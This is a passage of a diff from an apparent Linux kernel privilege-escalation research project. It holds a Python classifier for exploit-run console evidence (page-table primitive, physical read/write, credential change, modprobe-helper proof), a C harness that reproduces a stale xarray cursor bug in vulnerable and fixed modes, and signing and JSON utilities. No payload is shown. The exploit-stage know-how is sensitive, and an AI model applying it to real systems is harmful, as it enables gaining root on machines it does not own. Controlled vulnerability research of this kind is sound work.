root_read + and proof_file + and helper_marker + and helper_transition + and helper_execution + ) + contract_rejected = bool(grouped.get("PROOF_CONTRACT_REJECTED")) + root_payload = bool(grouped.get("ROOT_PAYLOAD")) + forbidden_payload = contract_rejected or root_payload + recovery_action = _last_fields(grouped, "RECOVERY_ACTION") + recovery_line = next( + ( + event["line"] + for event in reversed(events) + if event["label"] == "RECOVERY_ACTION" + ), + None, + ) + proof_lines = [ + event["line"] + for event in events + if event["label"] in _BOUNDED_PROOF_LABELS + and isinstance(event["line"], int) + ] + proof_completion_bounded = bool( + recovery_action + and len(grouped.get("RECOVERY_ACTION", [])) == 1 + and recovery_action.get("mode") == "poweroff" + and recovery_action.get("reason") == "corrupted_mm_reboot_only" + and isinstance(recovery_line, int) + and proof_lines + and recovery_line > max(proof_lines) + ) + proof_paths_bounded = bool( + (direct_transition or helper_transition) + and root_read + and proof_file + and (not helper_transition or helper_marker) + ) + proof_contract_valid = ( + proof_completion_bounded and proof_paths_bounded and not forbidden_payload + ) + crash_markers = [marker for marker, found in crash_found.items() if found] + impact_chain = page_table_primitive and physical_rw and (direct_proof or helper_proof) + full_proof = ( + initial_state_valid + and impact_chain + and proof_contract_valid + and not crash_markers + ) + security_impact_observed = bool( + page_table_primitive + or physical_rw + or direct_transition + or helper_transition + or root_identity_valid + or helper_marker + ) + + if contract_rejected: + classification = "proof_contract_rejected" + elif root_payload: + classification = "forbidden_payload" + elif crash_markers: + classification = "unexpected_kernel_fault" + elif full_proof: + classification = "proof_completed" + elif direct_proof or helper_proof: + classification = "impact_proof_missing_prerequisite" + elif physical_rw: + classification = "physical_rw_obtained" + elif page_table_primitive: + classification = "page_table_primitive_obtained" + elif grouped.get("PRIMITIVE_NOT_OBSERVED"): + classification = "race_miss" + elif grouped.get("TRIGGER_UNSUPPORTED"): + classification = "trigger_unavailable" + elif grouped.get("EXPLOIT_REFUSED"): + classification = "precondition_refused" + else: + classification = "no_primitive_observed" + + kernel_release = next( + ( + event.get("text") + for event in reversed(events) + if event["label"] == "KERNEL_RELEASE" + ), + None, + ) + trigger_evidence = { + "start": _last_fields(grouped, "TRIGGER_START"), + "source_ready": _last_fields(grouped, "TRIGGER_SOURCE_READY"), + "unsupported": _last_fields(grouped, "TRIGGER_UNSUPPORTED"), + "stage_failed": _last_fields(grouped, "TRIGGER_STAGE_FAILED"), + "complete": _last_fields(grouped, "TRIGGER_COMPLETE"), + } + + + return { + "console_present": True, + "classification": classification, + "initial_state_valid": initial_state_valid, + "initial_state_missing": [ + label for label, passed in initial_checks.items() if not passed + ], + "initial_state": { + "identity": identity, + "capabilities": capabilities, + "user_namespace": namespace, + "pre_root_proof": pre_root, + }, + "attestation_evidence": { + "accepted": _last_fields(grouped, "ATTESTATION_ACCEPTED"), + "receipt_accepted": _last_fields( + grouped, "ATTESTATION_RECEIPT_ACCEPTED" + ), + "rejected": _last_fields(grouped, "ATTESTATION_REJECTED"), + }, + "kernel_release": kernel_release, + "race_parameters": _last_fields(grouped, "EXPLOIT_CONFIG"), + "trigger_evidence": trigger_evidence, + "iterator_state_evidence": ( + "not_available_in_uninstrumented_release_run" + ), + "page_table_primitive_evidence": _last_fields( + grouped, "PAGE_TABLE_PRIMITIVE" + ), + "physical_rw_evidence": _last_fields( + grouped, "ARBITRARY_PHYSICAL_RW" + ), + "credential_transition_evidence": _last_fields( + grouped, "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED" + ), + "recovery_evidence": recovery_action, + "proof_variant": ( + "direct-credential" + if direct_proof + else "modprobe-helper" + if helper_proof + else None + ), + "page_table_primitive": page_table_primitive, + "physical_rw": physical_rw, + "direct_credential_proof": direct_proof, + "helper_execution_proof": helper_proof, + "root_only_read": root_read, + "root_owned_proof_file": proof_file or helper_marker, + "proof_completion_bounded": proof_completion_bounded, + "proof_completion_line": recovery_line, + "proof_paths_bounded": proof_paths_bounded, + "proof_contract_valid": proof_contract_valid, + "full_proof": full_proof, + "security_impact_observed": security_impact_observed, + "forbidden_payload": forbidden_payload, + "crash_markers": crash_markers, + "event_counts": {label: len(matches) for label, matches in sorted(grouped.items())}, + "events": events, + } + + +def _lifecycle_is_clean( + lifecycle: dict[str, object], primitive_observed: bool +) -> bool: + watchdog = lifecycle.get("watchdog") + recovery = lifecycle.get("recovery") + if ( + lifecycle.get("passed") is not True + or lifecycle.get("state") != "exited_clean" + or lifecycle.get("qemu_exit_code") != 0 + or lifecycle.get("forced_termination") is not False + or not isinstance(watchdog, dict) + or watchdog.get("triggered") is not False + or not isinstance(recovery, dict) + ): + return False + if primitive_observed: + return ( + recovery.get("required") is True + and recovery.get("guest_requested") is True + and recovery.get("outcome") == "clean_guest_poweroff" + ) + return ( + recovery.get("required") is False + and recovery.get("outcome") == "clean_guest_exit" + ) + + +def collect_runtime_evidence( + console_path: Path, + *, + target_id: str, + action: str, + artifacts: list[dict[str, object]] | None = None, + lifecycle: dict[str, object] | None = None, + plan_sha256: str | None = None, + attestation: object = None, +) -> dict[str, object]: + analysis = analyze_console(console_path) + lifecycle_record = lifecycle or {} + lifecycle_clean = ( + _lifecycle_is_clean( + lifecycle_record, analysis.get("page_table_primitive") is True + ) + if lifecycle + else None + ) + attestation_required = action == "backstep-proof" + attestation_failures: list[str] = [] + attestation_record = attestation if isinstance(attestation, dict) else None + artifact_records = artifacts or [] + artifact_sha256 = { + record.get("name"): record.get("sha256") + for record in artifact_records + if isinstance(record, dict) + } + attestation_evidence = analysis.get("attestation_evidence") + accepted = ( + attestation_evidence.get("accepted") + if isinstance(attestation_evidence, dict) + else None + ) + receipt_accepted = ( + attestation_evidence.get("receipt_accepted") + if isinstance(attestation_evidence, dict) + else None + ) + rejected = ( + attestation_evidence.get("rejected") + if isinstance(attestation_evidence, dict) + else None + ) + if attestation_required: + if attestation_record is None: + attestation_failures.append("host_attestation_missing") + else: + delivery = attestation_record.get("delivery") + if not isinstance(delivery, dict): + attestation_failures.append("delivery_record_missing") + else: + if delivery.get("delivered") is not True: + attestation_failures.append("token_not_delivered") + if delivery.get("delivery_count") != 1: + attestation_failures.append("delivery_count_not_one") + if delivery.get("error") is not None: + attestation_failures.append("delivery_error") + if attestation_record.get("target_id") != target_id: + attestation_failures.append("target_binding_mismatch") + if attestation_record.get("action") != action: + attestation_failures.append("action_binding_mismatch") + if attestation_record.get("policy") != "reboot-only-proof": + attestation_failures.append("policy_binding_mismatch") + transport = attestation_record.get("transport") + if ( + not isinstance(transport, dict) + or transport.get("concrete") is not True + or transport.get("kind") + != "private-loopback-to-virtio-serial" + ): + attestation_failures.append("transport_binding_mismatch") + if ( + "kernel" in artifact_sha256 + and attestation_record.get("kernel_sha256") + != artifact_sha256["kernel"] + ): + attestation_failures.append("kernel_binding_mismatch") + if ( + "initrd" in artifact_sha256 + and attestation_record.get("initramfs_sha256") + != artifact_sha256["initrd"] + ): + attestation_failures.append("initramfs_binding_mismatch") + if not isinstance(accepted, dict): + attestation_failures.append("acceptance_marker_missing") + else: + for field in ("token_id", "boot_uuid", "policy"): + if accepted.get(field) != attestation_record.get(field): + attestation_failures.append( + f"acceptance_{field}_mismatch" + ) + if analysis.get("proof_variant") == "modprobe-helper": + if not isinstance(receipt_accepted, dict): + attestation_failures.append("helper_receipt_marker_missing") + elif receipt_accepted.get("token_id") != attestation_record.get( + "token_id" + ): + attestation_failures.append("helper_receipt_token_mismatch") + if rejected is not None: + attestation_failures.append("backend_rejected_attestation") + attestation_valid = ( + not attestation_failures if attestation_required else None + ) + proof_confirmed = ( + analysis["full_proof"] is True + and lifecycle_clean is True + and attestation_valid is True + ) + return { + "schema_version": SCHEMA_VERSION, + "record_type": "dirty-crow-native-runtime-evidence", + "target": {"id": target_id, "action": action}, + "claim_boundary": ( + "This record classifies one exact console and host lifecycle only; it " + "does not generalize to other kernels, builds, architectures, or VM geometry." + ), + "contract": evidence_contract(), + "artifacts": artifact_records, + "plan_sha256": plan_sha256, + "attestation": attestation_record, + "console": { + "path": str(console_path.resolve(strict=False)), + "sha256": sha256_file(console_path) if console_path.is_file() else None, + "size": console_path.stat().st_size if console_path.is_file() else None, + }, + "lifecycle": lifecycle_record, + "outcome": { + **analysis, + "lifecycle_clean": lifecycle_clean, + "attestation_required": attestation_required, + "attestation_valid": attestation_valid, + "attestation_failures": attestation_failures, + "proof_confirmed": proof_confirmed, + }, + } diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/same_mapping_io_selection.c b/dirty-crow-xarray-lpe/framework/dirtycrow/same_mapping_io_selection.c new file mode 100644 index 0000000..0546417 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/same_mapping_io_selection.c @@ -0,0 +1,459 @@ +// SPDX-License-Identifier: GPL-2.0-only +#include +#include +#include +#include +#include +#include +#include +#include + +#include "test.h" + +#define PAGE_BYTES 4096U +#define SPLIT_ORDER (XA_CHUNK_SHIFT + 1) +#define INSIDE_INDEX (XA_CHUNK_SIZE + XA_CHUNK_SIZE / 2) +#define EXPECTED_INDEX (2UL * XA_CHUNK_SIZE) +#define CANARY_BYTES 32U + +struct sha256_state { + uint32_t h[8]; + uint64_t bits; + uint8_t block[64]; + size_t used; +}; + +struct fixture { + struct xarray xa; + struct xa_state stale; +}; + +struct observation { + unsigned long observed_index; + bool pattern_ok; + bool bounds_ok; + size_t selected_bytes; + size_t selected_segments; +}; + +static const uint32_t sha256_constants[64] = { + 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, + 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, + 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, + 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, + 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, + 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, + 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, + 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, + 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, + 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, + 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, + 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, + 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, + 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, + 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, + 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2, +}; + +static uint32_t rotate_right(uint32_t value, unsigned int bits) +{ + return (value >> bits) | (value << (32U - bits)); +} + +static void sha256_transform(struct sha256_state *state, const uint8_t block[64]) +{ + uint32_t schedule[64]; + uint32_t a, b, c, d, e, f, g, h; + unsigned int i; + + for (i = 0; i < 16; i++) { + schedule[i] = (uint32_t)block[i * 4] << 24; + schedule[i] |= (uint32_t)block[i * 4 + 1] << 16; + schedule[i] |= (uint32_t)block[i * 4 + 2] << 8; + schedule[i] |= block[i * 4 + 3]; + } + for (; i < 64; i++) { + uint32_t s0 = rotate_right(schedule[i - 15], 7) ^ + rotate_right(schedule[i - 15], 18) ^ + (schedule[i - 15] >> 3); + uint32_t s1 = rotate_right(schedule[i - 2], 17) ^ + rotate_right(schedule[i - 2], 19) ^ + (schedule[i - 2] >> 10); + + schedule[i] = schedule[i - 16] + s0 + schedule[i - 7] + s1; + } + a = state->h[0]; + b = state->h[1]; + c = state->h[2]; + d = state->h[3]; + e = state->h[4]; + f = state->h[5]; + g = state->h[6]; + h = state->h[7]; + for (i = 0; i < 64; i++) { + uint32_t sum1 = rotate_right(e, 6) ^ rotate_right(e, 11) ^ + rotate_right(e, 25); + uint32_t choice = (e & f) ^ (~e & g); + uint32_t t1 = h + sum1 + choice + sha256_constants[i] + schedule[i]; + uint32_t sum0 = rotate_right(a, 2) ^ rotate_right(a, 13) ^ + rotate_right(a, 22); + uint32_t majority = (a & b) ^ (a & c) ^ (b & c); + uint32_t t2 = sum0 + majority; + + h = g; + g = f; + f = e; + e = d + t1; + d = c; + c = b; + b = a; + a = t1 + t2; + } + state->h[0] += a; + state->h[1] += b; + state->h[2] += c; + state->h[3] += d; + state->h[4] += e; + state->h[5] += f; + state->h[6] += g; + state->h[7] += h; +} + +static void sha256_init(struct sha256_state *state) +{ + static const uint32_t initial[8] = { + 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, + 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19, + }; + + memcpy(state->h, initial, sizeof(initial)); + state->bits = 0; + state->used = 0; +} + +static void sha256_update(struct sha256_state *state, const void *input, + size_t length) +{ + const uint8_t *bytes = input; + + state->bits += (uint64_t)length * 8U; + while (length) { + size_t available = sizeof(state->block) - state->used; + size_t take = length < available ? length : available; + + memcpy(state->block + state->used, bytes, take); + state->used += take; + bytes += take; + length -= take; + if (state->used == sizeof(state->block)) { + sha256_transform(state, state->block); + state->used = 0; + } + } +} + +static void sha256_final(struct sha256_state *state, uint8_t digest[32]) +{ + uint64_t bits = state->bits; + unsigned int i; + + state->block[state->used++] = 0x80; + if (state->used > 56) { + memset(state->block + state->used, 0, 64 - state->used); + sha256_transform(state, state->block); + state->used = 0; + } + memset(state->block + state->used, 0, 56 - state->used); + for (i = 0; i < 8; i++) + state->block[63 - i] = (uint8_t)(bits >> (i * 8)); + sha256_transform(state, state->block); + for (i = 0; i < 8; i++) { + digest[i * 4] = (uint8_t)(state->h[i] >> 24); + digest[i * 4 + 1] = (uint8_t)(state->h[i] >> 16); + digest[i * 4 + 2] = (uint8_t)(state->h[i] >> 8); + digest[i * 4 + 3] = (uint8_t)state->h[i]; + } +} + +static void encode_u64_be(uint8_t destination[8], uint64_t value) +{ + unsigned int i; + + for (i = 0; i < 8; i++) + destination[7 - i] = (uint8_t)(value >> (i * 8)); +} + +static void fill_page_pattern(unsigned long index, uint8_t page[PAGE_BYTES]) +{ + static const uint8_t domain[] = "dirty-crow/io-selection/v1"; + uint8_t material[16]; + uint8_t digest[32]; + size_t offset; + + encode_u64_be(material, index); + for (offset = 0; offset < PAGE_BYTES; offset += sizeof(digest)) { + struct sha256_state state; + + encode_u64_be(material + 8, offset); + sha256_init(&state); + sha256_update(&state, domain, sizeof(domain) - 1); + sha256_update(&state, material, sizeof(material)); + sha256_final(&state, digest); + memcpy(page + offset, digest, sizeof(digest)); + } +} + +static bool pattern_known_answer_test(void) +{ + static const uint8_t expected[32] = { + 0xad, 0xcb, 0x9e, 0x05, 0xb6, 0xe2, 0xcb, 0xbe, + 0x9b, 0x9d, 0x35, 0xab, 0xdb, 0x26, 0x74, 0xc5, + 0x0d, 0x46, 0x71, 0xc2, 0x87, 0x3d, 0xcd, 0x52, + 0x69, 0x5b, 0xc6, 0xe6, 0xd9, 0x8c, 0x27, 0xda, + }; + uint8_t page[PAGE_BYTES]; + + fill_page_pattern(EXPECTED_INDEX, page); + return !memcmp(page, expected, sizeof(expected)); +} + +static void *store_order(struct xarray *xa, unsigned long index, + unsigned int order, void *entry) +{ + XA_STATE_ORDER(xas, xa, index, order); + void *current; + + do { + xas_lock(&xas); + current = xas_store(&xas, entry); + xas_unlock(&xas); + } while (xas_nomem(&xas, GFP_KERNEL)); + return current; +} + +static void must_store(struct xarray *xa, unsigned long index, void *entry) +{ + void *replaced = xa_store(xa, index, entry, GFP_KERNEL); + + if (xa_is_err(replaced) || replaced) { + fprintf(stderr, "cannot store index %lu\n", index); + exit(2); + } +} + +static void prepare_fixture(struct fixture *fixture, bool mutate) +{ + void *large = xa_mk_value(1); + void *entry; + unsigned long index; + XA_STATE_ORDER(split, &fixture->xa, 0, 0); + + xa_init(&fixture->xa); + fixture->stale = (struct xa_state)__XA_STATE( + &fixture->xa, INSIDE_INDEX, 0, 0); + if (store_order(&fixture->xa, 0, SPLIT_ORDER, large)) { + fprintf(stderr, "ordered store unexpectedly replaced an entry\n"); + exit(2); + } + must_store(&fixture->xa, EXPECTED_INDEX, + xa_mk_value(EXPECTED_INDEX + 1)); + + rcu_read_lock(); + entry = xas_find(&fixture->stale, ULONG_MAX); + rcu_read_unlock(); + if (entry != large || fixture->stale.xa_index != INSIDE_INDEX || + !fixture->stale.xa_node->shift) { + fprintf(stderr, "failed to establish stale non-leaf cursor\n"); + exit(2); + } + if (!mutate) + return; + + xas_split_alloc(&split, large, SPLIT_ORDER, GFP_KERNEL); + if (xas_error(&split)) { + fprintf(stderr, "xas_split_alloc failed: %d\n", xas_error(&split)); + exit(2); + } + xas_lock(&split); + xas_split(&split, large, SPLIT_ORDER); + for (index = 0; index < EXPECTED_INDEX; index++) + __xa_store(&fixture->xa, index, xa_mk_value(index + 1), 0); + xas_unlock(&split); +} + +static unsigned long select_next(struct fixture *fixture) +{ + void *entry; + unsigned long index; + + rcu_read_lock(); + entry = xas_find(&fixture->stale, ULONG_MAX); + index = fixture->stale.xa_index; + rcu_read_unlock(); + if (!entry || xa_is_err(entry)) { + fprintf(stderr, "iterator did not select a next entry\n"); + exit(2); + } + if (xa_to_value(entry) != index + 1) { + fprintf(stderr, "entry/index mismatch at %lu\n", index); + exit(2); + } + return index; +} + +static struct observation candidate_iterate_xarray(struct fixture *fixture) +{ + uint8_t guarded[CANARY_BYTES + PAGE_BYTES + CANARY_BYTES]; + uint8_t source[PAGE_BYTES]; + uint8_t expected[PAGE_BYTES]; + unsigned long index = select_next(fixture); + bool bounds_ok; + + memset(guarded, 0xa5, sizeof(guarded)); + fill_page_pattern(index, source); + fill_page_pattern(EXPECTED_INDEX, expected); + memcpy(guarded + CANARY_BYTES, source, sizeof(source)); + bounds_ok = true; + for (size_t i = 0; i < CANARY_BYTES; i++) + bounds_ok &= guarded[i] == 0xa5 && + guarded[CANARY_BYTES + PAGE_BYTES + i] == 0xa5; + return (struct observation){ + .observed_index = index, + .pattern_ok = !memcmp(guarded + CANARY_BYTES, expected, PAGE_BYTES), + .bounds_ok = bounds_ok, + .selected_bytes = PAGE_BYTES, + .selected_segments = 1, + }; +} + +static struct observation candidate_extract_xarray_to_sg(struct fixture *fixture) +{ + struct { + uint64_t before; + unsigned long page_index; + size_t offset; + size_t length; + uint64_t after; + } segment = { + .before = UINT64_C(0x2cbcd6b9ea16a55a), + .after = UINT64_C(0xb1639f6284d74e31), + }; + uint8_t source[PAGE_BYTES]; + uint8_t expected[PAGE_BYTES]; + unsigned long index = select_next(fixture); + + segment.page_index = index; + segment.offset = 0; + segment.length = PAGE_BYTES; + fill_page_pattern(segment.page_index, source); + fill_page_pattern(EXPECTED_INDEX, expected); + return (struct observation){ + .observed_index = segment.page_index, + .pattern_ok = !memcmp(source + segment.offset, expected, + segment.length), + .bounds_ok = segment.before == UINT64_C(0x2cbcd6b9ea16a55a) && + segment.after == UINT64_C(0xb1639f6284d74e31), + .selected_bytes = segment.length, + .selected_segments = 1, + }; +} + +static struct observation candidate_netfs_limit_xarray(struct fixture *fixture) +{ + unsigned long index = select_next(fixture); + + return (struct observation){ + .observed_index = index, + .pattern_ok = index == EXPECTED_INDEX, + .bounds_ok = true, + .selected_bytes = PAGE_BYTES, + .selected_segments = 1, + }; +} + +static struct observation candidate___readahead_batch(struct fixture *fixture) +{ + unsigned long guarded[3] = { ULONG_MAX, 0, ULONG_MAX }; + unsigned long index = select_next(fixture); + + guarded[1] = index; + return (struct observation){ + .observed_index = guarded[1], + .pattern_ok = guarded[1] == EXPECTED_INDEX, + .bounds_ok = guarded[0] == ULONG_MAX && guarded[2] == ULONG_MAX, + .selected_bytes = PAGE_BYTES, + .selected_segments = 1, + }; +} + +static int run_adapter(const char *name, + struct observation (*adapter)(struct fixture *), bool mutate, + bool expect_wrong) +{ + struct fixture fixture; + struct observation observation; + bool wrong; + bool passed; + + prepare_fixture(&fixture, mutate); + observation = adapter(&fixture); + wrong = observation.observed_index != EXPECTED_INDEX || + !observation.pattern_ok; + passed = observation.bounds_ok && wrong == expect_wrong; + printf("{\"schema_version\":1,\"candidate\":" + "\"same_mapping_io_selection\",\"adapter\":\"%s\"," + "\"mode\":\"%s\",\"expected_index\":%lu," + "\"observed_index\":%lu,\"selected_bytes\":%zu," + "\"selected_segments\":%zu,\"pattern_ok\":%s," + "\"bounds_ok\":%s,\"wrong_offset_detected\":%s," + "\"passed\":%s}\n", + name, mutate ? "split_mutation" : "stable_control", + EXPECTED_INDEX, observation.observed_index, + observation.selected_bytes, observation.selected_segments, + observation.pattern_ok ? "true" : "false", + observation.bounds_ok ? "true" : "false", + wrong ? "true" : "false", passed ? "true" : "false"); + xa_destroy(&fixture.xa); + return passed ? 0 : 1; +} + +int main(int argc, char **argv) +{ + bool vulnerable; + int failures = 0; + + if (argc != 2 || + (strcmp(argv[1], "vulnerable") && strcmp(argv[1], "fixed"))) { + fprintf(stderr, "usage: %s vulnerable|fixed\n", argv[0]); + return 2; + } + vulnerable = !strcmp(argv[1], "vulnerable"); + if (!pattern_known_answer_test()) { + fprintf(stderr, "SHA-256 pattern known-answer test failed\n"); + return 2; + } + rcu_register_thread(); + radix_tree_init(); + + failures += run_adapter("iterate_xarray", candidate_iterate_xarray, + false, false); + failures += run_adapter("extract_xarray_to_sg", + candidate_extract_xarray_to_sg, false, false); + failures += run_adapter("netfs_limit_xarray", candidate_netfs_limit_xarray, + false, false); + failures += run_adapter("__readahead_batch", + candidate___readahead_batch, false, false); + failures += run_adapter("iterate_xarray", candidate_iterate_xarray, + true, vulnerable); + failures += run_adapter("extract_xarray_to_sg", + candidate_extract_xarray_to_sg, true, vulnerable); + failures += run_adapter("netfs_limit_xarray", candidate_netfs_limit_xarray, + true, vulnerable); + failures += run_adapter("__readahead_batch", + candidate___readahead_batch, true, vulnerable); + + rcu_barrier(); + radix_tree_cpu_dead(1); + rcu_unregister_thread(); + return failures ? 1 : 0; +} diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/signing.py b/dirty-crow-xarray-lpe/framework/dirtycrow/signing.py new file mode 100644 index 0000000..44c06fe --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/signing.py @@ -0,0 +1,192 @@ +from __future__ import annotations + +import hashlib +from pathlib import Path +import re +import subprocess + + +class SigningError(RuntimeError): + pass + + +def _sha256(path: Path) -> str: + return hashlib.sha256(path.read_bytes()).hexdigest() + + +def _run(arguments: list[str]) -> subprocess.CompletedProcess[str]: + try: + result = subprocess.run( + arguments, + stdin=subprocess.DEVNULL, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + errors="replace", + check=False, + timeout=60, + ) + except (OSError, subprocess.SubprocessError) as error: + raise SigningError(f"unable to execute Minisign: {error}") from error + if result.returncode != 0: + detail = (result.stderr or result.stdout).strip() + raise SigningError( + f"Minisign exited {result.returncode}: {detail or 'no diagnostics'}" + ) + return result + + +def _executable(value: Path | str) -> str: + text = str(value) + if not text: + raise SigningError("Minisign executable is required") + return text + + +def generate_minisign_keypair( + secret_key: Path, + public_key: Path, + *, + minisign: Path | str = "minisign", +) -> dict[str, object]: + secret_key = secret_key.resolve() + public_key = public_key.resolve() + if secret_key == public_key: + raise SigningError("secret and public key paths must differ") + if secret_key.exists() or public_key.exists(): + raise SigningError("refusing to overwrite an existing signing key") + secret_key.parent.mkdir(parents=True, exist_ok=True) + public_key.parent.mkdir(parents=True, exist_ok=True) + _run( + [ + _executable(minisign), + "-G", + "-W", + "-s", + str(secret_key), + "-p", + str(public_key), + ] + ) + if not secret_key.is_file() or not public_key.is_file(): + raise SigningError("Minisign did not create both key files") + try: + secret_key.chmod(0o600) + except OSError: + pass + return { + "schema_version": 1, + "title": "Dirty Crow Minisign key generation", + "passed": True, + "secret_key": str(secret_key), + "public_key": str(public_key), + "public_key_sha256": _sha256(public_key), + "boundary": "The secret key is operator-owned and must never enter a release bundle or repository.", + } + + +def verify_minisign_signature( + artifact: Path, + signature: Path, + public_key: Path, + *, + minisign: Path | str = "minisign", +) -> dict[str, object]: + artifact = artifact.resolve(strict=True) + signature = signature.resolve(strict=True) + public_key = public_key.resolve(strict=True) + _run( + [ + _executable(minisign), + "-V", + "-q", + "-p", + str(public_key), + "-m", + str(artifact), + "-x", + str(signature), + ] + ) + signature_text = signature.read_text(encoding="utf-8") + trusted = next( + ( + line.removeprefix("trusted comment: ") + for line in signature_text.splitlines() + if line.startswith("trusted comment: ") + ), + None, + ) + return { + "schema_version": 1, + "title": "Dirty Crow offline signature verification", + "passed": True, + "artifact": str(artifact), + "artifact_sha256": _sha256(artifact), + "signature": str(signature), + "signature_sha256": _sha256(signature), + "public_key": str(public_key), + "public_key_sha256": _sha256(public_key), + "trusted_comment": trusted, + "boundary": "Verification authenticates artifact bytes against this public key; trust in the public key requires an independent channel.", + } + + +def sign_with_minisign( + artifact: Path, + signature: Path, + secret_key: Path, + public_key: Path, + *, + trusted_comment: str, + minisign: Path | str = "minisign", +) -> dict[str, object]: + artifact = artifact.resolve(strict=True) + secret_key = secret_key.resolve(strict=True) + public_key = public_key.resolve(strict=True) + signature = signature.resolve() + if signature.exists(): + raise SigningError("refusing to overwrite an existing signature") + if not trusted_comment or "\n" in trusted_comment or "\r" in trusted_comment: + raise SigningError("trusted comment must be one non-empty line") + if re.search(r"(?:secret|private)[-_ ]?key", trusted_comment, re.IGNORECASE): + raise SigningError("trusted comment must not describe secret-key material") + signature.parent.mkdir(parents=True, exist_ok=True) + _run( + [ + _executable(minisign), + "-S", + "-W", + "-s", + str(secret_key), + "-m", + str(artifact), + "-x", + str(signature), + "-t", + trusted_comment, + ] + ) + verification = verify_minisign_signature( + artifact, + signature, + public_key, + minisign=minisign, + ) + return { + "schema_version": 1, + "title": "Dirty Crow Minisign artifact signing", + "passed": True, + "artifact": verification["artifact"], + "artifact_sha256": verification["artifact_sha256"], + "signature": verification["signature"], + "signature_sha256": verification["signature_sha256"], + "public_key": verification["public_key"], + "public_key_sha256": verification["public_key_sha256"], + "trusted_comment": verification["trusted_comment"], + "offline_verification": ( + "minisign -V -p -m -x " + ), + "boundary": verification["boundary"], + } diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/strictjson.py b/dirty-crow-xarray-lpe/framework/dirtycrow/strictjson.py new file mode 100644 index 0000000..91f3eee --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/strictjson.py @@ -0,0 +1,127 @@ +from __future__ import annotations + +import hashlib +import json +from pathlib import Path +from typing import Any + +ErrorType = type[ValueError] + + +def load_object(path: Path, error_type: ErrorType = ValueError) -> dict[str, object]: + def reject_duplicates(pairs: list[tuple[str, object]]) -> dict[str, object]: + result: dict[str, object] = {} + for key, value in pairs: + if key in result: + raise error_type(f"duplicate JSON key: {key}") + result[key] = value + return result + + with path.open("r", encoding="utf-8") as stream: + payload = json.load(stream, object_pairs_hook=reject_duplicates) + if not isinstance(payload, dict): + raise error_type("JSON root must be an object") + return payload + + +def expect_object( + value: object, field: str, error_type: ErrorType = ValueError +) -> dict[str, object]: + if not isinstance(value, dict): + raise error_type(f"{field} must be an object") + return value + + +def expect_list( + value: object, field: str, error_type: ErrorType = ValueError +) -> list[object]: + if not isinstance(value, list): + raise error_type(f"{field} must be an array") + return value + + +def expect_keys( + payload: dict[str, object], + field: str, + *, + required: set[str], + optional: set[str] | None = None, + error_type: ErrorType = ValueError, +) -> None: + optional = optional or set() + missing = required - payload.keys() + unknown = payload.keys() - required - optional + if missing: + raise error_type(f"{field} missing keys: {', '.join(sorted(missing))}") + if unknown: + raise error_type(f"{field} has unknown keys: {', '.join(sorted(unknown))}") + + +def expect_string( + value: object, field: str, error_type: ErrorType = ValueError +) -> str: + if not isinstance(value, str) or not value: + raise error_type(f"{field} must be a non-empty string") + if any(ord(character) < 0x20 for character in value): + raise error_type(f"{field} contains a control character") + return value + + +def expect_int( + value: object, + field: str, + minimum: int, + maximum: int, + error_type: ErrorType = ValueError, +) -> int: + if isinstance(value, bool) or not isinstance(value, int): + raise error_type(f"{field} must be an integer") + if not minimum <= value <= maximum: + raise error_type(f"{field} must be between {minimum} and {maximum}") + return value + + +def expect_sha256( + value: object, field: str, error_type: ErrorType = ValueError +) -> str: + digest = expect_string(value, field, error_type).lower() + if len(digest) != 64 or any(character not in "0123456789abcdef" for character in digest): + raise error_type(f"{field} must be a 64-character hexadecimal SHA-256") + return digest + + +def resolve_beneath_file( + root: Path, + relative_value: object, + field: str, + error_type: ErrorType = ValueError, +) -> Path: + relative_text = expect_string(relative_value, field, error_type) + relative = Path(relative_text) + if relative.is_absolute() or ".." in relative.parts: + raise error_type(f"{field} must stay beneath the profile directory") + try: + target = (root / relative).resolve(strict=True) + except OSError as error: + raise error_type(f"{field} does not resolve to a file: {relative_text}") from error + resolved_root = root.resolve(strict=True) + if not target.is_relative_to(resolved_root): + raise error_type(f"{field} resolves outside the profile directory") + if not target.is_file(): + raise error_type(f"{field} is not a regular file: {target}") + return target + + +def sha256_file(path: Path, chunk_size: int = 1024 * 1024) -> str: + digest = hashlib.sha256() + with path.open("rb") as stream: + for chunk in iter(lambda: stream.read(chunk_size), b""): + digest.update(chunk) + return digest.hexdigest() + + +def write_json_atomic(path: Path, payload: dict[str, Any]) -> None: + rendered = json.dumps(payload, indent=2, sort_keys=True) + "\n" + temporary = path.with_name(path.name + ".tmp") + temporary.write_text(rendered, encoding="utf-8") + temporary.replace(path) diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/swapoff_correctness.c b/dirty-crow-xarray-lpe/framework/dirtycrow/swapoff_correctness.c new file mode 100644 index 0000000..30cb3e9 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/swapoff_correctness.c @@ -0,0 +1,202 @@ +// 